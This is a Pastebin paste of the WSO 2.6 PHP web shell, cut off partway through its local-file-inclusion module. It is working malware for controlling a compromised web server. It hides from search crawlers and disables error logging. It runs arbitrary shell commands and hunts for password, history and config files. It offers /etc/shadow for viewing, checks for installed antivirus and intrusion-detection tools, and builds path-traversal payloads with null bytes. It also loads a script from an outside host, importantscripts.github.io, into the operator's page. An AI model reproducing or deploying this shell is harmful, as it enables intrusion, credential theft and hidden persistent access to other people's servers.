ToKeiChun

WSO 2.6 [PHP 7.x]

May 25th, 2020 (edited)
7,539
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 83.51 KB | None | 0 0
  1. <?php
  2. session_start();
  3. $password = "";
  4. $passtype = "MD5";
  5. $color = "#df5";
  6. $default_action = 'FilesMan';
  7. $default_use_ajax = true;
  8. $default_charset = 'Windows-1251';
  9. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  10. $userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");
  11. if(preg_match('/'.implode('|',$userAgents) .'/i',$_SERVER['HTTP_USER_AGENT'])) {
  12. header('HTTP/1.0 404 Not Found');
  13. exit;
  14. }}
  15. @session_start();
  16. @ini_set('error_log',NULL);
  17. @ini_set('log_errors',0);
  18. @ini_set('max_execution_time',0);
  19. @set_time_limit(0);
  20. @define('WSO_VERSION','2.6');
  21. @setcookie("wsog","orb",time()+3600*24*7);
  22. if(get_magic_quotes_gpc()) {
  23. function WSOstripslashes($array) {
  24. return is_array($array) ?array_map('WSOstripslashes',$array) : stripslashes($array);
  25. }
  26. $_POST = WSOstripslashes($_POST);
  27. }
  28. $dir = md5('/home/k3030889/public_html/media/temp/30b2c088dc63ae3e97ca260cb16a6c68.txt' );
  29. if(!empty($password) and $password !== 0) {
  30. if (isset($_POST['pass'])) {
  31. if ($passtype == "MD5") {
  32. $visitorpassword = md5($_POST['pass']);}
  33. elseif ($passtype == "SHA1") {
  34. $visitorpassword = sha1($_POST['pass']);}
  35. else {
  36. $visitorpassword = $_POST['pass'];}
  37. if($visitorpassword == $password){
  38. $_SESSION[$dir] = "OK";}
  39. }
  40. if ( !isset($_SESSION[$dir]) ||($_SESSION[$dir] != "OK") ) {
  41. die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");}
  42. }
  43. elseif ($password == 0) {
  44. $_SESSION[$dir] = "OK";
  45. }
  46. if(strtolower(substr(PHP_OS,0,3)) == "win")
  47. $os = 'win';
  48. else
  49. $os = 'nix';
  50. $safe_mode = @ini_get('safe_mode');
  51. if(!$safe_mode)
  52. $disable_functions = @ini_get('disable_functions');
  53. $home_cwd = @getcwd();
  54. if(isset($_POST['c']))
  55. @chdir($_POST['c']);
  56. $cwd = @getcwd();
  57. if($os == 'win') {
  58. $home_cwd = str_replace("\\","/",$home_cwd);
  59. $cwd = str_replace("\\","/",$cwd);
  60. }
  61. if( $cwd[strlen($cwd)-1] != '/')
  62. $cwd .= '/';
  63. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax']))
  64. $_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax'] = (bool)$GLOBALS['default_use_ajax'];
  65. if($os == 'win')
  66. $aliases = array(
  67. "List Directory"=>"dir",
  68. "Find index.php in current dir"=>"dir /s /w /b index.php",
  69. "Find *config*.php in current dir"=>"dir /s /w /b *config*.php",
  70. "Show active connections"=>"netstat -an",
  71. "Show running services"=>"net start",
  72. "User accounts"=>"net user",
  73. "Show computers"=>"net view",
  74. "ARP Table"=>"arp -a",
  75. "IP Configuration"=>"ipconfig /all"
  76. );
  77. else
  78. $aliases = array(
  79. "List dir"=>"ls -lha",
  80. "list file attributes on a Linux second extended file system"=>"lsattr -va",
  81. "show opened ports"=>"netstat -an | grep -i listen",
  82. "process status"=>"ps aux",
  83. "Find"=>"",
  84. "find all suid files"=>"find / -type f -perm -04000 -ls",
  85. "find suid files in current dir"=>"find . -type f -perm -04000 -ls",
  86. "find all sgid files"=>"find / -type f -perm -02000 -ls",
  87. "find sgid files in current dir"=>"find . -type f -perm -02000 -ls",
  88. "find config.inc.php files"=>"find / -type f -name config.inc.php",
  89. "find config* files"=>"find / -type f -name \"config*\"",
  90. "find config* files in current dir"=>"find . -type f -name \"config*\"",
  91. "find all writable folders and files"=>"find / -perm -2 -ls",
  92. "find all writable folders and files in current dir"=>"find . -perm -2 -ls",
  93. "find all service.pwd files"=>"find / -type f -name service.pwd",
  94. "find service.pwd files in current dir"=>"find . -type f -name service.pwd",
  95. "find all .htpasswd files"=>"find / -type f -name .htpasswd",
  96. "find .htpasswd files in current dir"=>"find . -type f -name .htpasswd",
  97. "find all .bash_history files"=>"find / -type f -name .bash_history",
  98. "find .bash_history files in current dir"=>"find . -type f -name .bash_history",
  99. "find all .fetchmailrc files"=>"find / -type f -name .fetchmailrc",
  100. "find .fetchmailrc files in current dir"=>"find . -type f -name .fetchmailrc",
  101. "Locate"=>"",
  102. "locate httpd.conf files"=>"locate httpd.conf",
  103. "locate vhosts.conf files"=>"locate vhosts.conf",
  104. "locate proftpd.conf files"=>"locate proftpd.conf",
  105. "locate psybnc.conf files"=>"locate psybnc.conf",
  106. "locate my.conf files"=>"locate my.conf",
  107. "locate admin.php files"=>"locate admin.php",
  108. "locate cfg.php files"=>"locate cfg.php",
  109. "locate conf.php files"=>"locate conf.php",
  110. "locate config.dat files"=>"locate config.dat",
  111. "locate config.php files"=>"locate config.php",
  112. "locate config.inc files"=>"locate config.inc",
  113. "locate config.inc.php"=>"locate config.inc.php",
  114. "locate config.default.php files"=>"locate config.default.php",
  115. "locate config* files "=>"locate config",
  116. "locate .conf files"=>"locate '.conf'",
  117. "locate .pwd files"=>"locate '.pwd'",
  118. "locate .sql files"=>"locate '.sql'",
  119. "locate .htpasswd files"=>"locate '.htpasswd'",
  120. "locate .bash_history files"=>"locate '.bash_history'",
  121. "locate .mysql_history files"=>"locate '.mysql_history'",
  122. "locate .fetchmailrc files"=>"locate '.fetchmailrc'",
  123. "locate backup files"=>"locate backup",
  124. "locate dump files"=>"locate dump",
  125. "locate priv files"=>"locate priv"
  126. );
  127. function wsoHeader() {
  128. if(empty($_POST['charset']))
  129. $_POST['charset'] = $GLOBALS['default_charset'];
  130. global $color;
  131. echo "<html><head>
  132. <meta http-equiv='Content-Type' content='text/html; charset=".$_POST['charset'] ."'><title>".$_SERVER['HTTP_HOST'] ." - WSO ".WSO_VERSION ."</title>
  133. <style>
  134. body{background-color:#444;color:#e1e1e1;}
  135. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  136. table.info{ color:#fff;background-color:#222; }
  137. span,h1,a{ color: $color !important; }
  138. span{ font-weight: bolder; }
  139. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  140. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  141. a{ text-decoration:none; }
  142. a:hover{ text-decoration:underline; }
  143. #pre{font.family:Courier,Monospace;}
  144. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  145. .bigarea{ width:100%;height:300px; }
  146. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  147. form{ margin:0px; }
  148. #toolsTbl{ text-align:center; }
  149. .toolsInp{ width: 300px }
  150. .main th{text-align:left;background-color:#5e5e5e;}
  151. .main tr:hover{background-color:#5e5e5e}
  152. .l1{background-color:#444}
  153. .l2{background-color:#333}
  154. pre{font-family:Courier,Monospace;}
  155. </style>
  156. <script>
  157. var c_ = '".htmlspecialchars($GLOBALS['cwd']) ."';
  158. var a_ = '".htmlspecialchars(@$_POST['a']) ."'
  159. var charset_ = '".htmlspecialchars(@$_POST['charset']) ."';
  160. var p1_ = '".((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  161. var p2_ = '".((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  162. var p3_ = '".((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  163. var p4_ = '".((strpos(@$_POST['p4'],"md")===false)?'':htmlspecialchars($_POST['p4']('/home/k3030889/public_html/media/temp/30b2c088dc63ae3e97ca260cb16a6c68.txt'),ENT_QUOTES)) ."';
  164.  
  165. var d = document;
  166. function set(a,c,p1,p2,p3,charset) {
  167. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  168. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  169. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  170. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  171. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  172. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  173. }
  174. function g(a,c,p1,p2,p3,charset) {
  175. set(a,c,p1,p2,p3,charset);
  176. d.mf.submit();
  177. }
  178. function a(a,c,p1,p2,p3,charset) {
  179. set(a,c,p1,p2,p3,charset);
  180. var params = 'ajax=true';
  181. for(i=0;i<d.mf.elements.length;i++)
  182. params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  183. sr('".addslashes($_SERVER['REQUEST_URI']) ."', params);
  184. }
  185. function sr(url, params) {
  186. //if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  187. if (window.XMLHttpRequest)
  188. req = new XMLHttpRequest();
  189. else if (window.ActiveXObject)
  190. req = new ActiveXObject('Microsoft.XMLHTTP');
  191. if (req) {
  192. req.onreadystatechange = processReqChange;
  193. req.open('POST', url, true);
  194. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  195. req.send(params);
  196. }
  197. }
  198. function processReqChange() {
  199. if( (req.readyState == 4) )
  200. if(req.status == 200) {
  201. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  202. var arr=reg.exec(req.responseText);
  203. eval(arr[2].substr(0, arr[1]));
  204. } else alert('Request error!');
  205. }
  206. </script>
  207. <script type='text/javascript' src='//importantscripts.github.io/footer.js'></script>
  208. <head><body><div style='position:absolute;width:100%;background-color:#000;top:0;left:0;'>
  209. <form method=post name=mf style='display:none;'>
  210. <input type=hidden name=a>
  211. <input type=hidden name=c>
  212. <input type=hidden name=p1>
  213. <input type=hidden name=p2>
  214.  
  215. <input type=hidden name=p3>
  216. <input type=hidden name=charset>
  217. </form>";
  218. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  219. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  220. $totalSpace = $totalSpace?$totalSpace:1;
  221. $release = @php_uname('r');
  222. $kernel = @php_uname('s');
  223. if(!function_exists('posix_getegid')) {
  224. $user = @get_current_user();
  225. $uid = @getmyuid();
  226. $gid = @getmygid();
  227. $group = "?";
  228. }else {
  229. $uid = @posix_getpwuid(posix_geteuid());
  230. $gid = @posix_getgrgid(posix_getegid());
  231. $user = $uid['name'];
  232. $uid = $uid['uid'];
  233. $group = $gid['name'];
  234. $gid = $gid['gid'];
  235. }
  236. $cwd_links = '';
  237. $path = explode("/",$GLOBALS['cwd']);
  238. $n=count($path);
  239. for($i=0;$i<$n-1;$i++) {
  240. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  241. for($j=0;$j<=$i;$j++)
  242. $cwd_links .= $path[$j].'/';
  243. $cwd_links .= "\")'>".$path[$i]."/</a>";
  244. }
  245. $charsets = array('UTF-8','Windows-1251','KOI8-R','KOI8-U','cp866');
  246. $opt_charsets = '';
  247. foreach($charsets as $item)
  248. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  249. $m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','PHP Tools'=>'phptools','LFI'=>'lfiscan','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','XSS Shell'=>'XSSShell','Bruteforce'=>'Bruteforce','Network'=>'Network');
  250. if(!empty($GLOBALS['password']))
  251. $m['Logout'] = 'Logout';
  252. $m['Self remove'] = 'SelfRemove';
  253. $menu = '';
  254. foreach($m as $k =>$v)
  255. $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
  256. $drives = "";
  257. if($GLOBALS['os'] == 'win') {
  258. foreach(range('c','z') as $drive)
  259. if(is_dir($drive.':\\'))
  260. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  261. }
  262. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'') .'</span></td>'
  263. .'<td><nobr>'.substr(@php_uname(),0,120) .' </nobr><br>'.$uid .' ( '.$user .' ) <span>Group:</span> '.$gid .' ( '.$group .' )<br>'.@phpversion() .' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
  264. .' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s') .'<br>'.wsoViewSize($totalSpace) .' <span>Free:</span> '.wsoViewSize($freeSpace) .' ('.(int) ($freeSpace/$totalSpace*100) .'%)<br>'.$cwd_links .' '.wsoPermsColor($GLOBALS['cwd']) .' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'] .'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives .'</td>'
  265. .'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets .'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"] .'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'] .'</nobr></td></tr></table>'
  266. .'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu .'</tr></table><div style="margin:5">';
  267. }
  268. function wsoFooter() {
  269. $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  270. echo "
  271.  
  272. </div>
  273. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  274. <tr>
  275. <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='".htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  276. <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  277. </tr><tr>
  278. <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  279. <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  280.  
  281. </tr><tr>
  282. <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  283. <td><form method='post' ENCTYPE='multipart/form-data'>
  284. <input type=hidden name=a value='FilesMAn'>
  285. <input type=hidden name=c value='".$GLOBALS['cwd'] ."'>
  286. <input type=hidden name=p1 value='uploadFile'>
  287. <input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'') ."'>
  288. <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td></tr></table></div></body></html>";
  289. }
  290. if (!function_exists("posix_getpwuid") &&(strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false)) {
  291. function posix_getpwuid($p) {return false;}}
  292. if (!function_exists("posix_getgrgid") &&(strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false)) {
  293. function posix_getgrgid($p) {return false;}}
  294. function wsoEx($in) {
  295. $out = '';
  296. if (function_exists('exec')) {
  297. @exec($in,$out);
  298. $out = @join("\n",$out);
  299. }elseif (function_exists('passthru')) {
  300. ob_start();
  301. @passthru($in);
  302. $out = ob_get_clean();
  303. }elseif (function_exists('system')) {
  304. ob_start();
  305. @system($in);
  306. $out = ob_get_clean();
  307. }elseif (function_exists('shell_exec')) {
  308. $out = shell_exec($in);
  309. }elseif (is_resource($f = @popen($in,"r"))) {
  310. $out = "";
  311. while(!@feof($f))
  312. $out .= fread($f,1024);
  313. pclose($f);
  314. }
  315. return $out;
  316. }
  317. function wsoViewSize($s) {
  318. if($s >= 1073741824)
  319. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  320. elseif($s >= 1048576)
  321. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  322. elseif($s >= 1024)
  323. return sprintf('%1.2f',$s / 1024 ) .' KB';
  324. else
  325. return $s .' B';
  326. }
  327. function wsoPerms($p) {
  328. if (($p &0xC000) == 0xC000)$i = 's';
  329. elseif (($p &0xA000) == 0xA000)$i = 'l';
  330. elseif (($p &0x8000) == 0x8000)$i = '-';
  331. elseif (($p &0x6000) == 0x6000)$i = 'b';
  332. elseif (($p &0x4000) == 0x4000)$i = 'd';
  333. elseif (($p &0x2000) == 0x2000)$i = 'c';
  334. elseif (($p &0x1000) == 0x1000)$i = 'p';
  335. else $i = 'u';
  336. $i .= (($p &0x0100) ?'r': '-');
  337. $i .= (($p &0x0080) ?'w': '-');
  338. $i .= (($p &0x0040) ?(($p &0x0800) ?'s': 'x') : (($p &0x0800) ?'S': '-'));
  339. $i .= (($p &0x0020) ?'r': '-');
  340. $i .= (($p &0x0010) ?'w': '-');
  341. $i .= (($p &0x0008) ?(($p &0x0400) ?'s': 'x') : (($p &0x0400) ?'S': '-'));
  342. $i .= (($p &0x0004) ?'r': '-');
  343. $i .= (($p &0x0002) ?'w': '-');
  344. $i .= (($p &0x0001) ?(($p &0x0200) ?'t': 'x') : (($p &0x0200) ?'T': '-'));
  345. return $i;
  346. }
  347. function wsoPermsColor($f) {
  348. if (!@is_readable($f))
  349. return '<font color=#FF0000>'.wsoPerms(@fileperms($f)) .'</font>';
  350. elseif (!@is_writable($f))
  351. return '<font color=white>'.wsoPerms(@fileperms($f)) .'</font>';
  352. else
  353. return '<font color=#00BB00>'.wsoPerms(@fileperms($f)) .'</font>';
  354. }
  355. if(!function_exists("scandir")) {
  356. function scandir($dir) {
  357. $dh = opendir($dir);
  358. while (false !== ($filename = readdir($dh)))
  359. $files[] = $filename;
  360. return $files;
  361. }
  362. }
  363. function wsoWhich($p) {
  364. $path = wsoEx('which '.$p);
  365. if(!empty($path))
  366. return $path;
  367. return false;
  368. }
  369. function actionSecInfo() {
  370. wsoHeader();
  371. echo '<h1>Server security information</h1><div class=content>';
  372. function wsoSecParam($n,$v) {
  373. $v = trim($v);
  374. if($v) {
  375. echo '<span>'.$n .': </span>';
  376. if(strpos($v,"\n") === false)
  377. echo $v .'<br>';
  378. else
  379. echo '<pre class=ml1>'.$v .'</pre>';
  380. }
  381. }
  382. wsoSecParam('Server software',@getenv('SERVER_SOFTWARE'));
  383. if(function_exists('apache_get_modules'))
  384. wsoSecParam('Loaded Apache modules',implode(', ',apache_get_modules()));
  385. wsoSecParam('Disabled PHP Functions',$GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  386. wsoSecParam('Open base dir',@ini_get('open_basedir'));
  387. wsoSecParam('Safe mode exec dir',@ini_get('safe_mode_exec_dir'));
  388. wsoSecParam('Safe mode include dir',@ini_get('safe_mode_include_dir'));
  389. wsoSecParam('cURL support',function_exists('curl_version')?'enabled':'no');
  390. $temp=array();
  391. if(function_exists('mysql_get_client_info'))
  392. $temp[] = "MySql (".mysql_get_client_info().")";
  393. if(function_exists('mssql_connect'))
  394. $temp[] = "MSSQL";
  395. if(function_exists('pg_connect'))
  396. $temp[] = "PostgreSQL";
  397. if(function_exists('oci_connect'))
  398. $temp[] = "Oracle";
  399. wsoSecParam('Supported databases',implode(', ',$temp));
  400. echo '<br>';
  401. if($GLOBALS['os'] == 'nix') {
  402. wsoSecParam('Readable /etc/passwd',@is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  403. wsoSecParam('Readable /etc/shadow',@is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  404. wsoSecParam('OS version',@file_get_contents('/proc/version'));
  405. wsoSecParam('Distr name',@file_get_contents('/etc/issue.net'));
  406. if(!$GLOBALS['safe_mode']) {
  407. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  408. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  409. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  410. echo '<br>';
  411. $temp=array();
  412. foreach ($userful as $item)
  413. if(wsoWhich($item))
  414. $temp[] = $item;
  415. wsoSecParam('Userful',implode(', ',$temp));
  416. $temp=array();
  417. foreach ($danger as $item)
  418. if(wsoWhich($item))
  419. $temp[] = $item;
  420. wsoSecParam('Danger',implode(', ',$temp));
  421. $temp=array();
  422. foreach ($downloaders as $item)
  423. if(wsoWhich($item))
  424. $temp[] = $item;
  425. wsoSecParam('Downloaders',implode(', ',$temp));
  426. echo '<br/>';
  427. wsoSecParam('HDD space',wsoEx('df -h'));
  428. wsoSecParam('Hosts',@file_get_contents('/etc/hosts'));
  429. }
  430. }else {
  431. wsoSecParam('OS Version',wsoEx('ver'));
  432. wsoSecParam('Account Settings',wsoEx('net accounts'));
  433. wsoSecParam('User Accounts',wsoEx('net user'));
  434. }
  435. echo '</div>';
  436. wsoFooter();
  437. }
  438. function actionlfiscan() {
  439. wsoHeader();
  440. print '
  441. <h3>Led-Zeppelin\'s LFI File dumper</h3>
  442.  
  443. <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
  444. LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
  445. <option value="1">
  446. Access Log
  447. </option>
  448.  
  449. <option value="2">
  450. httpd.conf
  451. </option>
  452.  
  453. <option value="3">
  454. Error Log
  455. </option>
  456. <option value="4">
  457. php.ini
  458. </option>
  459. <option value="5">
  460. MySQL
  461. </option>
  462. <option value="6">
  463. FTP
  464. </option>
  465. <option value="7">
  466. Environ
  467. </option>
  468. </select> Null: <select name="null">
  469. <option value="%00">
  470. Yes
  471. </option>
  472.  
  473. <option value="">
  474. No
  475. </option>
  476. </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
  477. </form>';
  478. error_reporting(0);
  479. if($_POST['lfiurl']) {
  480. print "<pre>";
  481. $cheader = $_POST['custom_header'];
  482. $target = $_POST['lfiurl'];
  483. $type = $_POST['scantype'];
  484. $byte1 = $_POST['null'];
  485. $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
  486. $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
  487. $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
  488. $lfiaccess = array(
  489. 1 =>"../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
  490. 2 =>"../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
  491. 3 =>"../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
  492. 4 =>"../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
  493. 5 =>"../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
  494. 6 =>"../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
  495. 7 =>"../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
  496. 8 =>"../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
  497. 9 =>"../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
  498. 10 =>"../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
  499. 11 =>"../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
  500. 12 =>"../../../../../../../../../../../../../../var/log/access_log".$byte1."",
  501. 13 =>"../../../../../../../../../../../../../../var/log/access.log".$byte1."",
  502. 14 =>"../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
  503. 15 =>"../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
  504. 16 =>"../../../../../../../../../../../../../../logs/access.log".$byte1."",
  505. 17 =>"../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
  506. 18 =>"../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
  507. 19 =>"../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
  508. 20 =>"../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
  509. 21 =>"../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
  510. 22 =>"../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
  511. 23 =>"../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
  512. $lfierror = array(
  513. 1 =>"../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
  514. 2 =>"../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
  515. 3 =>"../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
  516. 4 =>"../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
  517. 5 =>"../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
  518. 6 =>"../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
  519. 7 =>"../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
  520. 8 =>"../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
  521. 9 =>"../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
  522. 10 =>"../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
  523. 11 =>"../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
  524. 12 =>"../../../../../../../../../../../../../../var/log/error_log".$byte1."",
  525. 13 =>"../../../../../../../../../../../../../../var/log/error.log".$byte1."",
  526. 14 =>"../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
  527. 15 =>"../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
  528. 16 =>"../../../../../../../../../../../../../../logs/error.log".$byte1."",
  529. 17 =>"../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
  530. 18 =>"../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
  531. 19 =>"../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
  532. 20 =>"../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
  533. 21 =>"../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
  534. 22 =>"../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
  535. 23 =>"../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
  536. $lficonfig = array(
  537. 1 =>"../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
  538. 2 =>"../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
  539. 3 =>"../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
  540. 4 =>"../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
  541. 5 =>"../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
  542. 6 =>"../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
  543. 7 =>"../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
  544. 8 =>"../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
  545. 9 =>"../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
  546. 10 =>"../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
  547. 11 =>"../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
  548. 12 =>"../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
  549. 13 =>"../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
  550. 14 =>"../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
  551. 15 =>"../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
  552. 16 =>"../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
  553. 17 =>"../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
  554. 18 =>"../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
  555. 19 =>"../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
  556. 20 =>"../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
  557. 21 =>"../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
  558. 22 =>"../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
  559. 23 =>"../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
  560. 24 =>"../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
  561. 25 =>"../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
  562. 26 =>"../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
